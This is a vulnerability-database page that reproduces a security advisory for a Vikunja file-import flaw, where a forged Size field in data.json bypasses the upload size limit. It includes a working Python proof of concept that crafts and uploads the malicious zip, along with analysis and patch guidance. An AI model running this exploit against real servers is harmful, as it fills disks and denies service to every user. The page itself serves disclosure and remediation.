Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.
Details
During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/create_from_structure.go:406 passes the attacker-controlled File.Size from the JSON:
err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:
if realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit {With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.
Proof of Concept
Tested on Vikunja v2.2.2 with default max_file_size: 20MB.
import zipfile, io, json, requests
TARGET = "http://localhost:3456"
token = requests.post(f"{TARGET}/api/v1/login",
json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}"}
# Craft zip with forged Size=0 in JSON but 25MB actual content
large_content = b"A" * (25 * 1024 * 1024)
# 25MB
data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{
"file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"},
"created": "2026-01-01T00:00:00Z"}]}]}]
zip_buf = io.BytesIO()
with zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("VERSION", "2.2.2")
zf.writestr("data.json", json.dumps(data))
zf.writestr("large.bin", large_content)
resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate",
headers=h,
files={"import": ("export.zip", zip_buf.getvalue(), "application/zip")})Output:
HTTP 200: {"message": "Everything was migrated successfully."}
25MB file stored despite 20MB server limit.Impact
An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.
Recommended Fix
Use the actual content length instead of the attacker-controlled Size field:
err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)--- *Found and reported by aisafe.io*
AnalysisAI
Vikunja's file import endpoint bypasses configured maximum file size limits by trusting an attacker-controlled Size field in import metadata rather than validating actual decompressed file content. Authenticated users can upload small compressed zip files (e.g., ~25KB) containing files up to 25MB or larger, exhausting server storage and causing denial of service across all users. The vulnerability affects Vikunja v2.2.2 and earlier versions; a vendor-released patch is available in v2.3.0.
Technical ContextAI
The vulnerability exists in Vikunja's project migration system, which processes zip-archived exports containing a JSON metadata file (data.json) that describes the project structure including attachment metadata. During deserialization at pkg/modules/migration/create_from_structure.go:406, the File.Size field from the attacker-controlled JSON metadata is passed directly to the NewAttachment function. The file size enforcement check at pkg/files/files.go:118 then compares this untrusted Size value against the configured maximum (default 20MB) rather than validating against the actual length of the decompressed file content. The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling): the application fails to enforce resource limits on the actual content being imported, instead relying on metadata supplied by the attacker. Zip compression ratios on highly compressible data (zero-filled buffers, repetitive patterns) can exceed 1000:1, allowing a single ~25KB zip upload to store gigabytes of uncompressed content within server constraints.
RemediationAI
Vendor-released patch: Vikunja v2.3.0 (https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0) includes the upstream fix via pull request #2575 (https://github.com/go-vikunja/vikunja/pull/2575). The remediation replaces the attacker-controlled File.Size parameter with uint64(len(a.File.FileContent)), ensuring file size enforcement is applied to the actual decompressed content rather than metadata. Upgrade to v2.3.0 or later. If immediate patching is not feasible, consider restricting the import endpoint to trusted administrators only via access control policies, reducing the number of authenticated users who can trigger resource exhaustion. However, no reliable workaround mitigates the logic flaw itself; patching is strongly recommended. See the official advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qh78-rvg3-cv54 for additional details and patch verification.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-21429
GHSA-qh78-rvg3-cv54